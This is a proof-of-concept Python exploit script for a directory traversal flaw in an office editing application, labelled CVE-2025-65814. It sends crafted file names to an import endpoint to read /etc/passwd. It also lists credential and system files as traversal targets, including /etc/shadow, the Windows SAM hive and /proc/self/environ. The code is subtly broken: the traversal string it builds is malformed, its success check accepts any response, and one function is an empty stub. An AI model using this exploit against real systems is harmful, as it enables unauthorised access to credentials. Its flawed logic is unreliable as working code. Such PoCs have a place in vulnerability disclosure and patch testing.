CVE-2025-65814 RHOPHI Office App-Edit Word 目录遍历漏洞

#!/usr/bin/env python3 """ CVE-2025-65814 PoC - RHOPHI Office App-Edit Word Directory Traversal This PoC demonstrates the directory traversal vulnerability in the file import function. """ import requests import urllib.parse # Target configuration TARGET_URL = "http://target-server.com/api/import" TARGET_FILE = "../../../../etc/passwd" def exploit_directory_traversal(): """ Exploit the directory traversal vulnerability in file import function. The application does not validate file paths properly, allowing path traversal. """ # Construct the malicious filename with path traversal sequence malicious_filename = ".." * 4 + "/etc/passwd" # Prepare the file import request files = { 'file': (malicious_filename, 'test content', 'text/plain') } # Alternative method: using filename parameter data = { 'filename': malicious_filename, 'action': 'import' } print(f"[*] Target: {TARGET_URL}") print(f"[*] Malicious filename: {malicious_filename}") print(f"[*] Attempting to read: /etc/passwd") try: # Send the malicious request response = requests.post(TARGET_URL, files=files, data=data, timeout=10) print(f"[*] Response Status: {response.status_code}") if response.status_code == 200: # Check if we successfully read the file if 'root:' in response.text or response.text: print("[+] SUCCESS! File content retrieved:") print("-" * 50) print(response.text[:500]) # Print first 500 chars print("-" * 50) return True print("[-] Exploitation may have failed or file not accessible") print(f"[-] Response: {response.text[:200]}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def test_common_paths(): """ Test common sensitive file paths that might be accessible via traversal. """ common_paths = [ "../../../../etc/passwd", "../../../../etc/shadow", "..\\..\\..\\windows\\system32\\config\\sam", "../../../../var/log/messages", "../../../../proc/self/environ" ] print("\n[*] Testing common sensitive file paths...") for path in common_paths: print(f"[*] Testing: {path}") # Simplified test - in real scenario, adapt to actual API endpoint encoded_path = urllib.parse.quote(path) # Add your actual exploitation logic here if __name__ == "__main__": print("=" * 60) print("CVE-2025-65814 Directory Traversal PoC") print("Target: RHOPHI Office App-Edit Word v6.4.1") print("=" * 60) # Run the exploit success = exploit_directory_traversal() if success: print("\n[!] Vulnerability confirmed!") print("[!] Immediate patching recommended.") else: print("\n[-] Exploitation did not yield expected results") print("[-] Target may be patched or not vulnerable")